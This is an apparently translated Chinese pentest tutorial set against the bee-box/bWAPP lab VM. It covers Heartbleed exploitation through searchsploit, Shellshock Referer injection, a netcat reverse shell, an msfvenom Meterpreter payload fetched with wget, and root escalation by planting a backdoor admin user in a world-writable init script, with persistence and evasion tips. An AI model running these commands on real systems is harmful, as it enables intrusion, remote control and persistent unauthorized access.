Exploit-DS利用Heartbleed漏洞

目录

1.1 使用 Exploit-DB 利用 Heartbleed 漏洞

环境准备

实战演练

原理剖析

1.2 通过利用Shellshock执行命令

实战演练

原理剖析

1.3 利用metasploit创建并反弹shell

实战演练

原理剖析

1.4 Linux 上的权限提升

实战演练

原理剖析


1.1 使用 Exploit-DB 利用 Heartbleed 漏洞

Heartbleed是2014年发现的OpenSSL库中的漏洞。它允许攻击者从服务器读取部分内存,这些部分内存以明文形式包含客户端和服务器之间的通信中的一部分。Hearthlecd漏洞发布后,很多公共漏洞被曝光・Kali Linux的创建者,也主持Exploit・DB (https:〃www.cxploit-db.com/),这是一个收集公开漏洞的网站,我们可以在那里找到Heartbleed漏洞的几种变体。在本文中,我们将使用Kali中包含的命令来寻找Kali Linux中ExploikDB的本地副本,找到我们需要的漏洞,最后我们将通过使用它从而在目标服务器中利用Heartbleed .

环境准备

在这个章节,我们将使用易受攻击的虚拟机

(https://sourceforge.net/projects/bwapp/Gles/bee-box/),因为它的 OpenSSL 版本易受 Heartbleed 的漏洞攻击(http:〃hearlbleed.com/) , Heartbleed影响协议TL3版本1.0和1.1的加密通信,并允许攻击者在服务器内存的一部分中提取包含未加密信息。

实战演练

易受攻击的靶机(蜜罐)虚拟机的IP地址为192.168.56.12,易受攻击的服务在端口 8443上运行.让我们首先确定服务器中的漏洞:

1.我们使用ssl scan检杳靶机 (蜜罐 )上的TCP端口 8443,如下面的屏幕截图所示,我们会发

现它很容易受到Hcartblecd的攻击:

2.通过利用Heartbleed我们将从服务器中提取信息,然后继续在其应用中进行一些攻击,例如登录bWAPP (https://192.168.56.12:8443/bwapp/)以确保服务器内存中有一些数据。

3.现在,要在 Exploit-DB 的本地副本中查找漏洞,请打开终端并键入 searchsploit heartbleed 命令。结果显示在此处:

4,我们将在列表中选择第一个漏洞。我们先检查此漏洞的内容并分析如何使用它以及它的作用,我们可以简单地使用 cat命令来显示Python 代码,如图所示:

5.根据漏洞利用中的说明,我们应该将服务器地址作为第一个参数运行,然后使用-p 选项输入我们要测试的端口。因此,攻击命令应该是python /usr/share/exploitdb/platforms/multiple/remote/32764.py192.168.56.12-p 8443下一个屏幕截图显示了成功攻击的结果,我们能够找到用户名和密码:

原理剖析…

Heartbleed是OpenSSL TLS的缓冲区溢出读取漏洞,这意味着可以从内存中读取比允许的数据更多的数据。通过利用此漏洞,攻击者可以以明文形式从OpenSSL服务器内存中读取信息,这意味着我们无需解密甚至拦截客户端与服务器之间的任何通信。利用服务器和客户端交换的心跳消息,这些是客户端发送的短消息,由服务器应答以保持会话活动。在易受攻击的服务中,客户端可以声称发送大小为x的消息,但发送较小量(Y)的字节。然后,服务器将以X字节进行响应,从存储接收到的心跳消息的存储空间相邻的存储空间中获取差值(X-Y),此内存空间通常包含先前由其他客户端发送的请求(已解密)

一旦我们知道目标中易受此攻击,我们就会使用searchsploit命令,它是安装在KaliLinux上的 Exploit-DB 本地副本的接口,命令会在 exploit 的标题和描述中查找相应的字符串并显示结果。

一旦我们了解了漏洞利用的工作原理并确定它是否可以安全使用,我们就会针对目标运行它并收集结果。 在我们的示例中,我们能够从通过加密通道连接的客户端提取有效的用户名和密码。

 拓展…

..在实时系统中我们使用它之前,检测漏洞利用的效果和影响非常重要。 通常, Exploit-DB中的漏洞利用是值得信赖的,即使它们经常需要一些调整才能在特定情况下工作,尽管有些时候可能不会按照他们的说法行事, 因此,我们需要检查源代码并在我们的实验中进行测试,然后才能在真实的测试中使用它们。

拓展...

除了 Exploit-DB 之外,还有其他网站可以查找已知的漏洞:

http://www.securityfocus.com

XSSed | Cross Site Scripting (XSS) attacks information and archive

Packet Storm

Full Disclosure Mailing List

http://0day.toda/

1.2 通过利用Shellshock执行命令

Shellshock(也叫 Bashdoor)是 2014 年 9 月在 bash shell 中发现的一个 bug,它允许通过存储在环境变量值中的函数执行命令。

作为web渗透测试人员,Shellshock与我们相关,因为如果这些脚本使用系统环境变量,开发人员有时会在PHP和CGI脚本中调用系统命令(在CGI脚本中更为常见。)

在此小节中,我们将利用bee-box虚拟机中的Shellshock漏洞在服务器上获得命令执行。

实战演练

通过HTTP (http://192.168.56.12/bWAPP/)浏览到bee-box,并登录开始这个练习:

1.在下拉框中,选择Shellshock漏洞(CGI),点击Hack:

在文本中,我们可以看到一些有趣的东西:当前用户:www-data。这可能意味着页面正在使用系统调用来获取用户名。这也给了我们一个攻击推荐人的暗示。 

 2.幕后发生了什么,使用Burp Suite记录请求并重新加载页面。让我们看看代理的历史:

我们可以看到有一个iframe调用 shell 脚本:/cgi-bin/shellshock.sh,这可能是易受 Shellshock漏洞影响的脚本。

3.我们关注这个提示,并尝试攻击shellshock.sh。我们首先需要配置BurpSuite来拦截服务器响应。转到“代理”选项卡中的“选项”,并根选中带有文本拦截响应的复选框。

4.现在,设置BurpSuite拦截并重新加载shellshock.php。

5.在Burp Suite中,单击Forward直到看到get请求到/bWAPP/egi-bin/shellshock.sh然后,将referer替换为(){:;};echo"Vulnerable:"如下截图所示:

6.再次单击Forward,并再次在请求。然后我们需要从shellshock.sh中获取响应。如下 面的截图所示:

响应现在有一个新的标题参数称为 Vulnerable。这是因为它将 echo 命令的输出集成到我们提交的HTML标头中,现在我们可以进一步执行更有趣的命令。

7. 现在,尝试(){:;};"Vulnerable:" $(/bin/sh-c "/sbin/ifconfig")命令。如结果所示,命令的结果包含在响应头中:

8.在渗透测试中,能够在服务器上远程执行命令是一个巨大的优势,下一个自然步骤是获得远程 shell,这意味着我们可以通过直接连接发送更详细的命令。在Kali Linux中打开一个终端,用下面的命令建立监听网络端口: ne-vlp12345。

9.现在转到Burp Suite代理的历史记录,选择对shellshock.sh的任何请求。右键单击它,并将其发送到中repeater。

10.进入repeater后,将referer的值改为:(){:;};echo "Vulnerable:" $(/bin/sh -c "nc e/bin/bash 192.168.56.10 12345")。在本例中,192.168.56.10 是我们 Kali 机器的地址。

11.单击 Go。我们检查我们的终端,可以看到连接已经建立,发出一些命令来检查我们是否有远程 shell:

原理剖析

在前五个步骤中,我们发现对 shell脚本有一个调用,并且,由于它应该由 shell 解释器运行,可能是bash或bash的一个有漏洞版本。为了验证这一点,我们执行了以下测试:

(){:;}; echo "Vulnerable:"

第一部分, (){:;};,是一个空函数定义,因为bash可以将函数存储为环境变量,这是漏洞的核心,因为解释器在函数结束后会继续解释(和执行)命令。这允许我们发布第二部分,echo"Vulnerable:”,这个命令会简单地返回我们输入。

该漏洞发生在web服务器上,因为CGI实现将请求的所有部分映射到环境变量,所以如果通过替换referer执行此攻击,也可以工作。一旦我们知道服务器是脆弱的,我们就会发出一个测试命令 ifconfig,并设置一个反向 shell。

反向 shell 是一个远程 shell,它由服务器发起,以便客户机侦听连接,而不是像在绑定连接中那样等待客户机连接的服务器。

一旦我们有了服务器的shell,我们就需要提权并获取帮助继续进行渗透测试所需的信息。

拓展

Shellshock漏洞在全世界范围内影响了大量的服务器和设备,有多种方法可以利用它。命令执行的例子有很多,例如,我们将移动设备连接到LAN , Metasploit Framework包含一个模块,用于设置DHCP服务器,以便将命令注入到连接到它的客户机上,这在网络渗透测试中非常有用

(https://www.rapid7.com/db/modules/auxiliary/server/dhclient_bash_env)。

1.3 利用metasploit创建并反弹shell

当我们在服务器上获得一个命令执行的权限时会发现有些命令会受到种种拘束,所以我们下一步做的事情是需要将这个权限升级为交互式的shell,并最终以管理员或系统权限运行该shell

在这个教程中,我们将学习如何用metasploit的msfvenom来创建一个可执行程序,该程序可以反弹出被控主机的连接,并生成一个高级 shell,以便进一步利用服务器。

实战演练

首先启动靶机和攻击机,然后执行下列步骤:

1.首先我们用msfvenom生成一个反弹shell的程序,将返回的连接地址修改为攻击机的ip地址。在 kali 中打开终端,输入:

msfvenom -p linux/x86/meterpreter/reverse_tepLHOST-192.168.56.10 LPORT-4443 -f elf >cute_dolphin.bin

这将创建一个名为 cute_dolphin.bin 的文件,这是一个linux的反向连接shell,它会使靶机连接到我们监听的端口上,而不是我们去连接靶机的端口。

2.接下来我们需要创建侦听。打开msfconsole,然后输入以下命令:

use exploit/multi/handlerset

payload linux/x86/meterpreter/reverse_tep

set lhost 192.168.56.10

set Iport 4443

run

可以看到, payload, lhost, Iport都是我们创建 bin文件的参数,这是指程序要连接的ip和端口。 我们按下面的来配置:

3.一切准备就绪,我们开始攻击的流程。在根目录启动apache服务:

service apache2 start

4.然后将恶意文件移动到web服务器路径下:

cp cute_dolphin.bin /var/www/html/

5. 我们知道 bee-box 有一个远程命令执行的漏洞,我们来利用一下它:

​

(){:;}; echo "Vulnerable:" $(/bin/sh-c

"/usr/bin/wgethttp://192.168.56.10/cute_dolphin

​

接着我们还需要构造执行下载文件权限的语句:

chmod +x /tmp/cute_dolphin.bin

然后查看是否下载成功:

Is -l /tmp/cute_dolphin.bin

如下面图所示,已经成功的利用了漏洞并下载了恶意文件:

6.接着再次利用命令执行运行该恶意文件:

(){:;}; echo "Vulnerable:"$(/tmp/cute_dolphin.bin")

7.如果一切正常, metasploit侦听器就会收到一个连接请求:

8.成功反弹shell后,我们可以输入 help查看meterpreter的功能,并执行相应命令:

原理剖析

msfvenom可以帮助我们从大量的metasploit有效负载中创建需要的负载,并合并到许多语言的源代码中,或者像刚刚做的那样创建可执行文件

这里使用的 payload (linux/x86/meterpreter/reverse_tep),要连接回的主机和端口(Ihost,lport) 以及输出格式(-felf)都会整合到cute_dolphin.bin中。

Metasploit 的 exploit/multi/handler 模块是一个有效负载处理程序,它只处理在受损主机中执行的有效负载连接。在这个例子中,我们使用它建立了一个反弹侦听程序Meterpreter是metasploit的后渗透利用工具。尽管linux下的功能相比windows更有限,但是也可以被利用来嗅探网络,提权和密码获取。我们还可以利用它作为一个跳板机访问受害者的网络,进行横向内网渗透。

1.4 Linux 上的权限提升

对于某些渗透测试项目,在利用和展示漏洞影响方面获得Web shell可能就足够了。在其他一些情况下,我们可能需要进行提权,做进一步的内网渗透。

在关于权限提升的第一个案例中,我们将利用上一节中的方法,我们上传反向 shell 到我们的攻击机器,并执行。然后使用Kali Linux中包含的工具获取服务器上的管理权限。

实战演练

实验两种方案,利用Shellshock执行命令以及使用Metasploit创建和捕获反向shell.实验开始

我们在受感染的服务器上运行了一个 meterpreter shell -更具体地说,是具有 IP192.168.56.12 的 beebox。 让我们从找到升级权限的方法开始:

1. KaliLinux 包含一个名为 unix-privesc-check 的工具, 它会检查系统是否存在可能允许我们升级权限的配置漏洞。从meterpretershell,我们可以使用upload命令将其上传到服务器。在meterpreter会话中,发出upload / usr / bin /unix-privesc-check / tmp /命令。

2.上传文件后,打开系统shell (使用meterpreter中的shell命令)并使用/ tmp /unixprivesc-checkstandard 运行脚本。以下屏幕截图显示了该过程:

3.该脚本将显示一长串结果,但我们对开头显示WARNING的那个感兴趣。 在下面的屏幕截图中,我们可以看到有一个脚本

(/etc/init.d/bwapp_movie_search)在启动时由root运行,每个人都可以写入它(设置了world write):

4.我们将使用该文件使root用户在启动时执行命令。我们将创建一个具有管理权限的用户,以便我们可以通过SSH连接随时到服务器。为此,我们需要检查系统中存在的组,以便我们了解哪些组具有特权访问权限。 在系统shell中,运行cat /etc /group | sort-u命令。将看到有一些有趣的名称,例如adm, admin和root。

5.由于我们没有完整的shell,我们无法打开文本编辑器将命令添加到目标文件中,因此我们需要使用echo将它们逐行附加到文件中:

6.要验证命令是否已正确引入,请使用tail它将显示文件的最后几行: tail/etc/init.d/bwapp movie search.在屏幕截图中,我们可以看到它应该是什么样子:

7.由于此服务器是我们测试实验室的一部分,我们可以重新启动它。在实际情况中,攻击者可能会尝试攻击以使服务器重新启动,或者DoS会强制管理员重新启动它。

8.重新启动服务器后,在Kali Linux中使用ssh登录sshhacker@192.168.56.12,然后使用在步骤5中设置的密码。如果询问是否接受主机证书,请键入yes并按Enter键。

9.如果一切正常,将能够登录。以下屏幕截图显示用户具有对所有命令的 root 访问权限,因为它们属于组admin (sudo-1)并且可以模拟root用户(sudo su) :

原理剖析

在本文中,我们使用现有的meterpretershell将脚本上载到受感染的服务器。unix-privesccheck是一个shell脚本,它自动查找系统中的某些配置,特征和参数,这些配置,特性和参数可能允许受限用户访问未授权的资源,例如属于其他用户或程序的文件。在更高权限配置文件下运行。 我们使用标准参数运行 unix-privesc-check,它只进行一组基本测试, 还有一个详细的选项,需要更长的时间,但也会进行更深入的分析,并可以给我们更多的升级备选方案。

在分析了unix-privesc-check的结果后,我们决定修改在启动时以高权限运行的脚本,并向其添加两个命令。第一个是创建属于admin, adm和root组的用户,另一个是为这样的用户设置密码。要将这些命令添加到文件中,我们使用了echo命令和输出重定向操作符(>),因为我们的有限 shell 不允许我们打开文本编辑器并直接编辑该文件。然后我们重新启动了虚拟机。

当机器重新启动时,我们使用我们设置的用户通过 SSH 连接到它,并验证它是否具有 root权限。删除我们添加到/ete/init.d/bwapp_movie_search脚本中的行也是一个好主意,以避免触发进一步的警报。

拓展...

我们决定使用在启动时使用root权限执行的文件的修改作为获取管理访问权限的方式。还有其他选项可能不需要攻击者等待服务器重新启动,尽管更改启动脚本可能是一种保留持久访问的方法,特别是如果这些更改是在脚本中的模糊功能中完成的,这些功能很少被管理员和开发者。尝试升级基于 Unix 的系统中的权限时要查找的其他常见方面如下:

SUID位:当在程序或脚本的属性中设置此位时,此类程序将在所有者用户的权限下执行,而不是在执行它的用户的权限下执行。例如,如果可执行文件属于root用户(所有者是我们对文件执行1s-1时显示的名字)并且由用户www-data执行,则系统会将该程序视为由root执行。因此,如果我们找到这样的文件并设法更改它打开或使用的文件,我们就可以获得root执行权。

PATH和其他环境变量:当程序调用其他程序或读取系统文件时,需要在系统中指定它们的名称和位置,有时这些程序只指定名称和相对路径。而且,操作系统有一些优先级标准,关于在未指定绝对路径时首先查看的位置-例如,首先查看当前文件夹,程序位置或PATH环境变量中指定的位置。这两个条件为攻击者添加恶意文件打开了大门,该恶意文件的名称与特权程序所需的名称相同,位于将要查看的位置由操作系统在文件的实际位置之前,强制易受攻击的程序处理攻击者文件的内容而不是合法的文件。

对已知漏洞的利用:在实际组织中,基于Unix的系统通常是最不经常修补和更新的。这为攻击者和渗透测试人员提供了寻找公开可用漏洞的机会,这些攻击将使他们能够利用过时软件中存在的漏洞。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值